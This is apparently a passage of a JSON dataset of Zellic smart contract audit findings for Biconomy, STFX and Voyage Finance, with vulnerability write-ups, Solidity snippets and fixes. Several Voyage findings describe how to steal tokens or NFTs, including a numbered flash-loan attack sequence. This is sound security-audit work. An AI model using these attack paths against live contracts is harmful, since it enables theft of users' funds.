SIGNATURE_OFFSET position are a valid signature. \u2013 : This is the structural data to be parsed. Branches and code coverage (including function calls) Intended branches Succeeds with parsing data properly. 4\u25a1 Test coverage Negative behavior Invalid paymasterAndData causes revert. \u25a1 Negative test Zellic Biconomy Labs Function: _postOp(PostOpMode mode, bytes calldata context, uint256 actu alGasCost) This function executes the Paymaster\u2019s payment conditions. Inputs mode \u2013 Control: Not controlled by user. \u2013 Constraints: Must be one of these: opSucceeded, opReverted, or postOpReve rted. \u2013 : Used to determine the state of the operation. context \u2013 Control: Not controlled by user. \u2013 Constraints: N/A. \u2013 : This contains the payment conditions signed by the Paymaster. actualGasCost \u2013 Control: Not controlled by user. \u2013 Constraints: N/A. \u2013 : This is the amount to be paid back to the Entrypoint. Branches and code coverage (including function calls) Intended branches Succeeds with mode opSucceeded or opReverted. 4\u25a1 Test coverage Succeeds with mode postOpReverted. 4\u25a1 Test coverage Oracle aggregator\u2019s exchange rate is used. \u25a1 Test coverage UserOp\u2019s exchange rate is used. \u25a1 Test coverage Negative behavior Failed transferFrom() leads to event being emitted. 4\u25a1 Negative test Zellic Biconomy Labs Function: _validatePaymasterUserOp(UserOperation calldata userOp, bytes 32 userOpHash, uint256 requiredPreFund) This function is used to verify that the UserOperation\u2019s Paymaster data were signed by the external signer. Inputs userOp \u2013 Control: Fully controlled by user. \u2013 Constraints: All fields are used in signature validation and thus must be valid. \u2013 : This is the UserOperation being validated. userOpHash \u2013 Control: Not controlled by user. \u2013 Constraints: N/A. \u2013 : This is returned as part of the context structure. requiredPreFund \u2013 Control: Not controlled by user. \u2013 Constraints: N/A. \u2013 : This is the required amount of prefunding for the paymaster. Branches and code coverage (including function calls) Intended branches Succeeds with valid gas limit, userOp, and requiredPrefund. 4\u25a1 Test coverage Negative behavior Invalid signature causes error to be returned. 4\u25a1 Negative test Insufficient requiredPrefund revert. \u25a1 Negative test Parsing the Paymaster data causes revert. \u25a1 Negative test", + "html_url": "https://github.com/Zellic/publications/blob/master/Biconomy Token Paymaster - Zellic Audit Report.pdf" + }, + { + "title": "4.2 Module: ChainlinkOracleAggregator.sol Zellic Biconomy Labs Function: getTokenValueOfOneNativeToken(address token) This function is used to get the value of one native token in terms of the given token. Inputs", + "labels": [ + "Zellic" + ], + "body": "token \u2013 Control: Fully controlled by user. \u2013 Constraints: Should be a valid ERC20 token address. \u2013 : This is the token for which the price is to be queried. Branches and code coverage (including function calls) Intended branches Check price result of a single token. 4\u25a1 Test coverage Negative behavior Tokens with zero tokenPriceUnadjusted cause revert. \u25a1 Negative test", + "html_url": "https://github.com/Zellic/publications/blob/master/Biconomy Token Paymaster - Zellic Audit Report.pdf" + }, + { + "title": "4.3 Module: USDCPriceFeedPolygon.sol Function: getThePrice() This function is used to get the latest price. Branches and code coverage (including function calls) Intended branches", + "labels": [ + "Zellic" + ], + "body": "Successfully obtained the latest prices. 4\u25a1 Test coverage Zellic Biconomy Labs 5 Audit Results At the time of our audit, the audited code was not deployed to mainnet Ethereum. During our assessment on the scoped Token Paymaster contracts, we discovered three findings. No critical issues were found. Two were of low impact and the re- maining finding was informational in nature.", + "html_url": "https://github.com/Zellic/publications/blob/master/Biconomy Token Paymaster - Zellic Audit Report.pdf" + }, + { + "title": "3.1 ABI-encoded inputs can mismatch specified amount", + "labels": [ + "Zellic" + ], + "body": "Target: Swap.sol Category: Coding Mistakes Likelihood: Medium Severity: High : High A manager or admin can execute a swap via Uniswap\u2019s universal router. However, they can potentially cause a mismanagement of funds if they abi.encode a different value in the inputs parameter than what is specified in the amountIn parameter for the swap. The following function permits the swap: function swapUniversalRouter( address tokenIn, address tokenOut, uint160 amountIn, bytes calldata commands, bytes[] calldata inputs, ...)) ) external override onlyTrade returns (uint96) { ...)) if (deadline > 0) universalRouter.execute(commands, inputs, deadline); ...)) } As seen in this snippet, universalRouter.execute(commands, inputs, deadline) has no accordance to the amountIn parameter and thus inputs, which is supposed to en- code the amountIn, can be a different value. The protocol uses amountIn for its internal accounting and therefore can become out of sync. We recommend extracting the amountIn from the ABI-encoded inputs function param. Zellic STFX STFX acknowledged and resolved the issue in fb58bb9f Zellic STFX", + "html_url": "https://github.com/Zellic/publications/blob/master/STFX - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Possible denial of service in claim", + "labels": [ + "Zellic" + ], + "body": "Target: VestingFactory.sol Category: Coding Mistakes Likelihood: Low Severity: Medium : High When vestingAddresses attempt to claim, the system iterates through all addresses and sends funds accordingly. However, if the size of the vestingAddresses array be- comes too large, a denial-of-service gas error can occur, preventing anyone from being able to claim funds. The following code corresponds to the claim function: for (uint256 i = 0; i < vestingAddresses.length;) { address v = vestingAddresses[i]; if (!IVesting(v).cancelled()) { if (IVesting(v).totalClaimedAmount() < IVesting(v).amount()) { IVesting(v).claim(); } } unchecked {+)i;} } New vesting addresses can be added using the createVestingStartingFrom and cre ateVestingStartingFromNow methods. However, if the treasury calls these methods excessively, a large number of vesting addresses may accumulate, which can prevent anyone from being able to claim. Unfortunately, there is no way to remove vesting addresses once they have been added. We recommend exploring one of the following possibilities to address the issue: 1. Modify the claim function to take start and end indices, allowing users to claim their tokens in batches instead of all at once. 2. Implement a way to remove vesting addresses once they have been added to the system. This would prevent the accumulation of a large number of ad- Zellic STFX dresses that could lead to denial-of-service errors. 3. Set a maximum cap on the number of vesting addresses that can be added to the system. This would limit the potential for denial-of-service errors by preventing the system from becoming overloaded with too many vesting addresses. STFX acknowledged and resolved the issue in 6503abf8 Zellic STFX", + "html_url": "https://github.com/Zellic/publications/blob/master/STFX - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Protocol does not check return value of ERC20 swaps", + "labels": [ + "Zellic" + ], + "body": "Target: Swap.sol Category: Coding Mistakes Likelihood: Medium Severity: Medium : Medium The ERC20 standard requires that transfer operations return a boolean success value indicating whether the operation was successful or not. Therefore, it is important to check the return value of the transfer function before assuming that the transfer was successful. This helps ensure that the transfer was executed correctly and helps avoid potential issues with lost or mishandled funds. The protocol\u2019s internal accounting will record failed transfer operations as a success if the underlying ERC20 token does not revert on failure. We recommend implementing one of the following solutions to ensure that ERC20 transfers are handled securely: 1. Utilize OpenZeppelin\u2019s SafeERC20 transfer methods, which provide additional checks and safeguards to ensure the safe handling of ERC20 transfers. 2. Strictly whitelist ERC20 coins that do not return false on failure and revert. This will ensure that only safe and reliable ERC20 tokens are used within the protocol. In general, it is important to exercise caution when integrating third-party tokens into the protocol. Tokens with hooks and atypical behaviors of the ERC20 standard can present security vulnerabilities that may be exploited by attackers. We recommend thoroughly researching and reviewing any tokens that are considered for integration and performing a comprehensive security review of the entire system to identify and mitigate any potential vulnerabilities. STFX acknowledged and resolved the issue in 67276712 Zellic STFX", + "html_url": "https://github.com/Zellic/publications/blob/master/STFX - Zellic Audit Report.pdf" + }, + { + "title": "3.4 High minimum investment amount", + "labels": [ + "Zellic" + ], + "body": "Target: Spot.sol Category: Coding Mistakes Likelihood: Medium Severity: Medium : Medium While the minimal investment permitted by the protocol is intended to establish a reasonable lower bound for investment amounts, the current restriction of 1e18 can be excessive for certain tokens, such as wBTC, particularly during a bull market when prices are high. This can make it difficult for everyday users to enter the protocol and limits the accessibility of the system. The following code sets a lower bound on the minimal investment amount: function addMinInvestmentAmount(address _token, uint96 _amount) external override onlyOwner { if (_amount < 1e18) revert ZeroAmount(); minInvestmentAmount[_token] = _amount; emit MinInvestmentAmountChanged(_token, _amount); } The current minimal investment amount of 1e18 may be too high for certain high- value coins such as wBTC, where this amount equates to approximately $30K USD and could potentially be even higher in the future. This high barrier to entry may limit accessibility for everyday users and could ultimately impact the growth and sustain- ability of the system. We recommend removing a minimal investment amount. STFX acknowledged and resolved the issue in ca4e2157 Zellic STFX", + "html_url": "https://github.com/Zellic/publications/blob/master/STFX - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Public pullToken function allows to steal ERC20 tokens for which Voyage has approval", + "labels": [ + "Zellic" + ], + "body": "Target: PeripheryPayments.sol Category: Coding Mistakes Likelihood: High Severity: Critical : Critical The PeripheryPayments:)pullToken function does not perform any access control and can be used to invoke transferFrom on any token. function pullToken( IERC20 token, uint256 amount, address from, address recipient ) public payable { token.safeTransferFrom(from, recipient, amount); } Furthermore, we have two additional observations about this function: It is unnecessarily marked as payable. It allows to call transferFrom on any contract, not just ERC20; since ERC721 to- kens also have a compatible transferFrom function, pullToken could be used to invoke transferFrom on ERC721 contracts as well. At the time of this review, the Voyage contract does not hold nor is supposed to have approval for any ERC721 assets, so this issue has no impact yet. An attacker can use this function to invoke tranferFrom on any contract on behalf of Voyage, with arbitrary arguments. This can be exploited to steal any ERC20 token for which Voyage has received approval. Zellic Voyage Finance Apply strict access control to this function, allowing only calls from address(this). Voyage has applied the appropriate level of access control to this function by making it internal. Furthermore, the contract has been removed and its functionality factored into a library as reflected in commit 9a2e8f42. Zellic Voyage Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Voyage - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Signature clash allows calls to transferReserve to steal NFT collateral", + "labels": [ + "Zellic" + ], + "body": "Target: VaultFacet.sol Category: Coding Mistakes Likelihood: High Severity: Critical : Critical The VaultFacet contract has a transferReserve(_vault, _currency, _to, _amount) function meant to be used by the vault owner for recovering any ERC20 assets held by their vault. The function calls execute on the given vault, instructing it to call transferFrom(from , to, amount) on the address specified by the _currency argument, with the to and amount arguments specified by the transferReserve caller. An attacker can take advantage of this capability by making the vault call transferFrom on the ERC721 contract controlling a collateral held by the vault. This is possible since ERC20 transferFrom and ERC721 transferFrom signatures are identical; therefore, the calldata format required by both functions is the same. An attacker can transfer any NFT held by a vault without having fully repaid the debt for which the NFT was held as collateral. Ensure the contract being called is not the contract of an NFT being held as collateral. An additional recommended hardening measure would be to entirely deny calls to ERC721 contracts. A possible approach to accomplish this is to try to call a harmless ERC721 method on the contract and reverting the transaction if the call does not fail. Commit 7460dc9a was indicated as containing the remediation. The commit appears to correctly fix the issue. The transferReserve function has been renamed to transf erCurrency and now takes as input the address of an NFT collection. The currency to be transferred is obtained from the metadata associated to the collection in Voyage storage. Voyage updated the code in a subsequent commit, and (as of commit f558e630) the t Zellic Voyage Finance ransferCurrency function again receives a _currency argument representing an ERC20 contract address. The change was made to ensure users can always withdraw ERC20 tokens that would otherwise be at risk of being stuck in their vault. That address is checked against data contained in Voyage storage to ensure it is not the address of an ERC721 contract used by Voyage, and the code seems still safe. We note that 25 commits exist between 7460dc9a and the one subject to our au- dit, applying changes that are both irrelevant as well as others potentially relevant to the remediation, increasing the difficulty of the review. In total, the diff between the reviewed and remediation commits amounts to 18 solidity files changed, with 137 in- sertions and 385 deletions. The changes include adding a checkCurrencyAddr function also used in transferCurrency, then renamed to checkCollectionAddr, which only en- sures that the address given as an argument is a deployed contract, not that it exists in the metadata stored by Voyage as the name could imply. Zellic Voyage Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Voyage - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Missing calldata validation in buyNow results in stolen NFT", + "labels": [ + "Zellic" + ], + "body": "Target: LoanFacet.sol Category: Business Logic Likelihood: High Severity: Critical : Critical The _data calldata parameter passed to buyNow(...))) requires a consistency check against the _tokenId parameter. The _tokenId passed is recorded in LibAppStorage.ds().nftIndex[param.collection][ param.tokenId ] = composeNFTInfo(param); where nftInfo.isCollateral is set to true by composeNFTInfo(...))). However, the actual NFT ordered from the market is specified in _data, which is not validated to match the given _tokenId. This allows an attacker to purchase a mis- matching NFT, which is sent to the vault. The NFT corresponding to the _tokenId argument is marked as collateral for the loan instead of the one that was actually re- ceived. Therefore, the token can be withdrawn from the vault, as the following check in VaultFacet:)withdrawNFT(...))) will not revert the transaction: if (LibAppStorage.ds().nftIndex[_collection][_tokenId].isCollateral) { revert InvalidWithdrawal(); } This vector makes the current implementation vulnerable to several attacks. For ex- ample, buyNow can be called with tokenId = 10 and calldata _data containing tokenId = 15. The order will process and an NFT with tokenId = 15 will be purchased. The NFT can then be withdrawn while having only paid the down payment. Validation checks should be added to ensure that the tokenId and collection passed in are consistent with the tokenId and collection passed in calldata _data. Addi- Zellic Voyage Finance tionally, validation modules should be added to the LooksRareAdapter and SeaportAd apter to validate all other order parameters. Currently, only the order selectors are validated. This additional lack of checks opens up the possibility for more missing validation exploits on other variables. However, the core of the vulnerability is the same, and so we have grouped them all into one finding. Voyage has incoporated the necessary validation checks for tokenId and collection in commit 7937b13a. They have also included additional validation checks for isOrderAsk and taker in LooksRareAdapter and fulfillerConduitKey in SeaportAdapter in commit 7937b13a. These are critical validations checks to have included and we applaud Voy- age for their efforts. However, there may still be other parameters that require valida- tion checks in the orders and we suggest Voyage perform a comprehensive review of all of the parameters in determine if there are any outstanding validation checks that may be necessary. Zellic Voyage Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Voyage - Zellic Audit Report.pdf" + }, + { + "title": "3.4 Missing timelocks can result in stolen NFTs", + "labels": [ + "Zellic" + ], + "body": "Target: VToken.sol Category: Business Logic Likelihood: High Severity: Critical : Critical To start, there are no timelocks on the senior and junior depositor vaults. Furthermore, the share of vault assets lenders are entitled to when they withdraw is based on the share of assets at the time of deposit: function pushWithdraw(address _user, uint256 _shares) internal { unbondings[_user].shares += _shares; unbondings[_user].maxUnderlying += convertToAssets(_shares); totalUnbonding += _shares; } And these funds are held in bonding until they are claimed: function claim() external { uint256 maxClaimable = unbondings[msg.sender].maxUnderlying; [...))] This means a malicious user can potentially steal an outsized share of the principal and interest payments by manipulating their vault shares through deposits, withdraws, and claims. Given that a lender can also purchase an NFT, the above opens up a novel approach for NFT theft as follows: 1. Take out a flash loan. 2. Call deposit(...))) - make a large vault deposit and get awarded an outsized number of shares (shares are proportional to total asset share). 3. Call buyNFT(...))) - purchase an NFT by making the first principal and interest payments. Zellic Voyage Finance 4. Call withDraw(...))) - with a large enough flash loan, you should be able to lock for withdraw the majority of the principal and interest payments you just made. 5. Call claim(...))) - remove your funds from the vault and pay back your flash loan. You will need a separate source of funds to pay interest on the flash loan (longer-term loan, whale). 6. Repeat steps 2, 4, and 5 until the maturity of the loan has passed. 7. Call withdrawNFT(...))) to take posession of your NFT. Sell it and repay any out- standing debts. The vector above can be blocked by preventing lenders from also purchasing NFTs; however, this would be a naive fix. The ability to deposit and withdraw funds without timelocks in order to create a maxClaimable slip that can be used to claim interest and principal payments at any time is a fundamental design flaw. It means depositors can game the system, claiming principal and interest payments for which they hold no credit risk. We suggest implementing a timelock mechanism on depositors\u2019 shares to ensure they are \u201cpaying their dues.\u201d This will help ensure depositors take on levels of credit risk commensurate with their returns. It is true that depositors who come in at later dates may end up covering losses on assets lent out earlier; our interpretation is that this is part of the pooling design. However, we feel the ability to game this exposure is a design flaw and should be removed. Commit a5bfd675 was indicated as containing the remediation. Rewiewing the reme- diation for this issue has proven to be challenging due to the pace of the development. A total of 181 commits exist between the commit under review and a5bfd675; the diff between the two commits amounts to 43 solidity files changed, with 2416 insertions and 1684 deletions. The issue appears to be correctly fixed at the given commit. We largely based this evaluation on the description provided by the Voyage team due to the considerable amount of changes, which aligns with what can be observed in the commits. In particular, the code tracking the balances of the amounts deposited by the users has been updated to keep track of the unbonding amounts; further, we ob- served no anomalies in the evolution of the balances during the execution of a proof of concept developed to demonstrate the issue when executed against the commit containing the remediation. We note that it is still technically possible to reclaim a disproportionate amount of the interests portion of the installments by depositing a very large amount of assets Zellic Voyage Finance before buying an NFT and withdrawing after repayments are made. The Voyage team has argued that this strategy does not seem to be exploitable to gather a profit. Their assessment is likely to be correct for the economic conditions in which Voyage is expected to operate, although profitability might be possible if some parameters such as flash loan interest rates, Voyage pool asset sizes and NFT values were to assume unexpected values. Zellic Voyage Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Voyage - Zellic Audit Report.pdf" + }, + { + "title": "3.5 Junior depositor funds mistakenly sent to senior depositors", + "labels": [ + "Zellic" + ], + "body": "Target: LoanFacet.sol Category: Business Logic Likelihood: High Severity: Critical : Critical Calls to liquidate(...))) made when the discounted price of the underlying NFT is greater than the price paid when buying it will move funds from junior depositors and send them to senior depositors. In liquidate(...))), param.remaningDebt = param.totalDebt; /) [...))] param.receivedAmount = discountedFloorPriceInTotal; /) [...))] if (param.totalDebt > discountedFloorPriceInTotal) { param.remaningDebt = param.totalDebt - discountedFloorPriceInTotal; } else { uint256 refundAmount = discountedFloorPriceInTotal - param.totalDebt; IERC20(param.currency).transfer(param.vault, refundAmount); param.receivedAmount -= refundAmount; } If param.totalDebt > discountedFloorPriceInTotal, then param.receivedAmount = pa ram.totalDebt and param.remaningDebt = param.totalDebt. The following code will therefore execute the following: if (param.remaningDebt > 0) { param.totalAssetFromJuniorTranche = ERC4626( reserveData.juniorDepositTokenAddress ).totalAssets(); if (param.totalAssetFromJuniorTranche >= param.remaningDebt) { IVToken(reserveData.juniorDepositTokenAddress) .transferUnderlyingTo(address(this), param.remaningDebt); param.juniorTrancheAmount = param.remaningDebt; param.receivedAmount += param.remaningDebt; } else { Zellic Voyage Finance IVToken(reserveData.juniorDepositTokenAddress) .transferUnderlyingTo( address(this), param.totalAssetFromJuniorTranche ); param.juniorTrancheAmount = param.totalAssetFromJuniorTranche; param.receivedAmount += param.totalAssetFromJuniorTranche; param.writeDownAmount = param.remaningDebt - param.totalAssetFromJuniorTranche; } } It can be verified that param.receivedAmount = 2 * param.totalDebt or param.receive dAmount = param.totalDebt + param.totalAssetFromJuniorTranche depending on whether param.totalAssetFromJuniorTranche >) param.remaningDebt. Voyage will be in possession of assets equal to param.receivedAmount; furthermore, param.receivedAmount will be sent to the senior depositors: IERC20(param.currency).safeTransfer( reserveData.seniorDepositTokenAddress, param.receivedAmount ); The finding has been rated as critical because it could have catastrophic consequences for the performance of the protocol. 1. Junior depositors would be missing funds with potentially no explanation. This is likely to be realized by users over time and may result in near complete aban- donment of the junior tranche and hence loss of core protocol functionality and purpose. 2. It would raise the prospect of additional yet unfound issues that could end up affecting senior depositors. This could result in a complete loss of confidence in the project and team. Make the following code change in liquidate(...))): Zellic Voyage Finance } else { uint256 refundAmount = discountedFloorPriceInTotal - param.totalDebt; IERC20(param.currency).transfer(param.vault, refundAmount); param.receivedAmount -= refundAmount; param.remaningDebt = 0; } Voyage has since made considerable changes to the code base in order to funda- mentally alter the way funds are distributed in the event of liquidations. We view the changes to the code base as extending beyond remediation efforts targeting the basic coding mistake we have identified and as constituting extensions to the code base that would require extending the scope of the audit engagement. For context, there have been 81 commits made since the scoping of the audit and this remediation commit provided by Voyage 654a9242. Across these commits a total of 30 solidity files have been changed with a total of 1,406 insertions and 1008 deletions. Out of respect for the scope of the initial engagement we have not been able to fully audit these changes and confirm whether the underlying issue identified here has indeed been remediated. However, we can confirm that Voyage has acknowledged the issue and has claimed to have fixed it in these architectural changes. Zellic Voyage Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Voyage - Zellic Audit Report.pdf" + }, + { + "title": "3.6 Inconsistent usage of totalUnbonding leads to lost or under- utilized lender assets", + "labels": [ + "Zellic" + ], + "body": "Target: Vtoken.sol Category: Business Logic Likelihood: High Severity: Critical : Critical Functions in VToken assume the variable totalUnbonding keeps track of the total amount of underlying shares in the unbonding state. However, the rest of the Voyage protocol assumes these variables keep track of the amount of underlying asset in the unbond- ing state. For example, VToken::pushWithdraw(...) uses shares: function pushWithdraw(address _user, uint256 _shares) internal { unbondings[_user].shares += _shares; unbondings[_user].maxUnderlying += convertToAssets(_shares); totalUnbonding += _shares; } Whereas JuniorDepositToken:)totalAssets() assumes the variable expresses an amount of the underlying asset: contract JuniorDepositToken is VToken { function totalAssets() public view override returns (uint256) { return asset.balanceOf(address(this)) - totalUnbonding; } } This issue has far-reaching consequences, as it influences the amount of assets de- posited to both the senior and junior pools. Depending on the exchange rate used to convert between assets and shares, totalUnbonding could become greater or smaller than the correct value. For example, if convertToAssets(_shares) > _shares then totalUnbonding will be set to a lower-than-intended amount by pushWithdraw(...))). This means that Voyage will assume the pool has more assets available than it really does. So, for example, liquid- ity checks in buyNow(...))) will pass when they should not, and purchase orders can Zellic Voyage Finance mysteriously fail. Additionally, assets locked by lenders for withdraw will still be lent out. This can lead to calls to claim(...))) failing and lost assets for lenders. If convertToAssets(_shares) < _shares then totalUnbonding is instead set to a greater- than-intended value by pushWithdraw(...))). Voyage will therefore assume the pool has fewer assets than it really does. Depositor assets will become underutilized by borrowers, and depending on the magnitude of the difference, funds could become effectively locked. Moreover, since totalUnbonding factors into SeniorDepositToken:)totalAssets(...))) this can also have an impact on the general accuracy of deposit and withdraw cal- culations, as the conversion ratio between shares and assets depends on the value returned by totalAssets(...))). Consistently use totalUnbonding to express an amount of assets or an amount of shares. Assuming the variable is intended to keep track of an amount of assets, at least two modifications to the code would have to be made. One to VToken:)pushWithdraw(...))): function pushWithdraw(address _user, uint256 _shares) internal { unbondings[_user].shares += _shares; unbondings[_user].maxUnderlying += convertToAssets(_shares); totalUnbonding += _shares; totalUnbonding += convertToAssets(_shares); } And another to VToken:)claim(): function claim() external { /) [...))] if (availableLiquidity > maxClaimable) { /) [...))] } else { /) [...))] } totalUnbonding -= transferredShares; totalUnbonding -= convertToAssets(transferredShares); Zellic Voyage Finance asset.safeTransfer(msg.sender, transferredAsset); } Commits 3320ba3c and acbe5001 were indicated as containing remediations for this issue. Reviewing the remediation for this issue has proven to be challenging due to the pace of the development. A total of 29 commits exist between the commit under review and 3320ba3c; the diff between the two commits amounts to 24 solidity files changed, with 324 insertions and 525 deletions. Another 86 commits exist between 3320ba3c and acbe5001, with a diff amounting to 29 solidity files changed, 1279 insertions, and 969 deletions. The two commits appear to correctly fix the issue; we largely based this evaluation on the description of the applied changes provided by the Voyage team due to the con- siderable amount of changes, which seems compatible with what can be observed in the commits. The totalUnbonding function is not used anymore in the computa- tion of totalAssets; two other functions, totalUnbondingAsset and unbonding, were introduced, respectively computing the amount of assets and shares that are in the unbonding state. Zellic Voyage Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Voyage - Zellic Audit Report.pdf" + }, + { + "title": "3.7 Share burn timing in Vtoken can lead to complete loss of funds", + "labels": [ + "Zellic" + ], + "body": "Target: Vtoken.sol Category: Business Logic Likelihood: High Severity: Critical : Critical In general, the ERC4626 vault uses the current ratio of total shares to total assets for pricing conversion from assets to shares for deposits and conversions from shares to assets for withdrawals. The VToken vault in Voyage implements a novel two-step withdrawal process. Users first call withdraw(\u2026), which calls pushWithdraw(\u2026), to record the number of shares being withdrawn and the corresponding value in asset terms and to reserve the total amount of assets being withdrawn by updating totalUnbonding. In the cur- rent implementation, burn(\u2026) occurs before this call is made: shares = previewWithdraw(_amount); /) No need to check for rounding error, previewWithdraw rounds up. if (msg.sender != _owner) { _spendAllowance(_owner, msg.sender, shares); } beforeWithdraw(_amount, shares); _burn(_owner, shares); pushWithdraw(_owner, shares); This inadvertently alters the total shares and hence the conversion from shares to assets that occurs in pushWithdraw(\u2026): function pushWithdraw(address _user, uint256 _shares) internal { unbondings[_user].shares += _shares; unbondings[_user].maxUnderlying += convertToAssets(_shares); totalUnbonding += _shares; } Users then call claim(\u2026) in order to receive their funds. For the case where available Liquidity > maxClaimable, the incorrect conversion from the previous step will carry over. Furthermore, if availableLiquidity <) maxClaimable, another conversion will Zellic Voyage Finance also be based on an incorrect total shares: if (availableLiquidity > maxClaimable) { transferredAsset = maxClaimable; transferredShares = unbondings[msg.sender].shares; resetUnbondingPosition(msg.sender); } else { transferredAsset = availableLiquidity; uint256 shares = convertToShares(availableLiquidity); reduceUnbondingPosition(shares, transferredAsset); transferredShares = shares; } Calling deposit(...))) and withdraw(...))) in the same transaction repeatedly can lead to draining of the tranches. For example, in general, let deposit of assets of amount equal to assetDeposited result in an amount of shares equal to sharesReceived being sent to the depositor. It is expected behavior (and has been verified) that an immediate call (same transac- tion) to withdraw(...))) made with assetDeposited will set the amount of shares to be burned as sharesReceived: function withdraw( uint256 _amount, address _receiver, address _owner ) public override(ERC4626, IERC4626) returns (uint256 shares) { shares = previewWithdraw(_amount); /) No need to check for rounding error, previewWithdraw rounds up. beforeWithdraw(_amount, shares); _burn(_owner, shares); pushWithdraw(_owner, shares); emit Withdraw(msg.sender, _receiver, _owner, _amount, shares); The call to _burn(...))) in withdraw(...))) reduces the totalSupply of shares by shares Received so that the call to pushWithdraw(...))) overprices the asset when calculating Zellic Voyage Finance the amount of asset owed to the depositor in unbondings[_user].maxUnderlying += c onvertToAssets(_shares) and also reserves the assets for withdraw in totalUnbonding += convertToAssets(_shares): function pushWithdraw(address _user, uint256 _shares) internal { unbondings[_user].shares += _shares; unbondings[_user].maxUnderlying += convertToAssets(_shares); totalUnbonding += convertToAssets(_shares); } The call to convertToAssets(_shares) necessarily overprices the asset. We have fully proven this mathematically, but there is a sufficiently strong intuitive argument. The price of shares in units of assets is based on the ratio of the balance of assets to shares. From the base implementation of ERC4626 we have function convertToAssets(uint256 shares) public view virtual returns (uint256) { } uint256 supply = totalSupply(); /) Saves an extra SLOAD if totalSupply is non-zero. return supply == 0 ? shares : shares.mulDivDown(totalAssets(), supply ); Therefore, if the supply is reduced by a premature _burn(...))), we necessarily over- inflate the amount of assets the depositor can withdraw. This allows an attacker to drain the funds from the vaults through repeated atomic deposit(...))) + withdraw(. .)) transactions. Move share burning until the end of claim(...))) as suggested below: if (availableLiquidity > maxClaimable) { transferredAsset = maxClaimable; transferredShares = unbondings[msg.sender].shares; Zellic Voyage Finance resetUnbondingPosition(msg.sender); } else { transferredAsset = availableLiquidity; uint256 shares = convertToShares(availableLiquidity); reduceUnbondingPosition(shares, transferredAsset); transferredShares = shares; } totalUnbonding -= transferredAsset; asset.safeTransfer(msg.sender, transferredAsset); _burn(_owner, transferredShares); } This positioning should also avoid conflicts with other processes in Voyage. Voyage has moved the call to _burn so that it occurs after the reduction in the unb onding position in claim in commit 63099db1. This aligns the implementation with the intended design and avoids overvaluing the assets in the preview and conversion functions. Zellic Voyage Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Voyage - Zellic Audit Report.pdf" + }, + { + "title": "3.8 Buyers make first interest payment twice", + "labels": [ + "Zellic" + ], + "body": "Target: LoanFacet.sol Category: Business Logic Likelihood: High Severity: High : High Callers of buyNow(...))) will always pay the first interest payment twice. The first time happens when they pay the down payment\u2014they can pay it in either ETH or WETH. The down payment is equal to params.downpayment = params.pmt.pmt where pmt is given by function calculatePMT(Loan storage loan) internal view returns (PMT memory) PMT memory pmt; pmt.principal = loan.principal / loan.nper; pmt.interest = loan.interest / loan.nper; pmt.pmt = pmt.principal + pmt.interest; return pmt; { } The second time happens when distributeInterest(...))) is called: LibLoan.distributeInterest( reserveData, params.pmt.interest, _msgSender() ); This pulls the same amount, but only WETH, directly from the buyer. Zellic Voyage Finance Users will be discouraged from using the protocol due to the extra large payment arising from high interest rates. Remove the interest component from the down payment. Commit 3320ba3c was indicated as containing the remediation for this issue. The pa rams.downpayment variable is now set to params.pmt.principal instead of params.pmt. pmt, meaning it will contain the value corresponding to the principal (without interest) of a single installment. We note that a total of 29 commits exist between the commit under review and 3320ba3c; the diff between the two commits amounts to 24 solidity files changed, with 324 insertions and 525 deletions, containing other potentially relevant changes. Zellic Voyage Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Voyage - Zellic Audit Report.pdf" + }, + { + "title": "3.9 Missing stale price oracle check results in outsized NFT price risk", + "labels": [ + "Zellic" + ], + "body": "Target: LoanFacet.sol Category: Business Logic Likelihood: Medium Severity: High : High The price oracle stores the average price of NFTs in a given collection. Calls to update TWAP(...))) set the average price and the block.timestamp: function updateTwap(address _currency, uint256 _priceAverage) external auth { } prices[_currency].priceAverage = _priceAverage; prices[_currency].blockTimestamp = block.timestamp; The timestamp is returned from calls to getTWAP(...))): function getTwap(address _currency) external view returns (uint256, uint256) { } return ( prices[_currency].priceAverage, prices[_currency].blockTimestamp ); Unfortunately, the time stamp is never used in buyNow(...))). Since the protocol expects only NFTs satisfying the following two conditions to be purchased, if (params.fv == 0) { revert InvalidFloorPrice(); Zellic Voyage Finance } if (params.fv < params.totalPrincipal) { revert InvalidPrincipal(); } an out-of-date price oracle means these conditions could be violated. Furthermore, there are no stale price checks in liquidate(\u2026): IPriceOracle priceOracle = IPriceOracle( reserveData.priceOracle.implementation() ); (param.floorPrice, param.floorPriceTime) = priceOracle.getTwap( param.collection ); if (param.floorPrice == 0) { revert InvalidFloorPrice(); } [...))] param.totalDebt = param.principal; param.remaningDebt = param.totalDebt; param.discount = getDiscount(param.floorPrice, param.liquidationBonus); param.discountedFloorPrice = param.floorPrice - param.discount; uint256 discountedFloorPriceInTotal = param.discountedFloorPrice * collaterals.length; IERC20(param.currency).safeTransferFrom( param.liquidator, address(this), discountedFloorPriceInTotal ); If an NFT was purchased with a price greater than the average price (i.e., params.fv < params.totalPrincipal), then lenders may end up backing much riskier assets than intended. Additionally, if stale prices are below current prices a liquidator would be able to purchase the NFTs at a discount and sell them for a profit. On the other hand, if stale prices were above market prices, NFTs could stay locked in the system. Zellic Voyage Finance The utility of credit products for users depends immensely on good alignment be- tween the underlying credit dynamics and user expectations. This logic error can result in a rate of loan defaults that is largely outsized to investor expectations. Additionally, upon liquidation it can also result in vault loss of funds through selling NFTs at submarket prices. Introduce stale price checks in buyNow(...))) and liquidate(.)). The protocol opera- tors need to determine the appropriate length of the time window to be accepted for the last average price. Because these are NFT markets, it is important to ensure the window is long enough so that it reflects a sufficient number of trades while at the same time not including out-of-date trades. Voyage has introduced stale price checks in both buyNow(...))) and liquidate(...))) in the following commits 80a681a2 and 654a9242. Zellic Voyage Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Voyage - Zellic Audit Report.pdf" + }, + { + "title": "3.10 Calls to Redeem(...))) can result in lost depositor funds", + "labels": [ + "Zellic" + ], 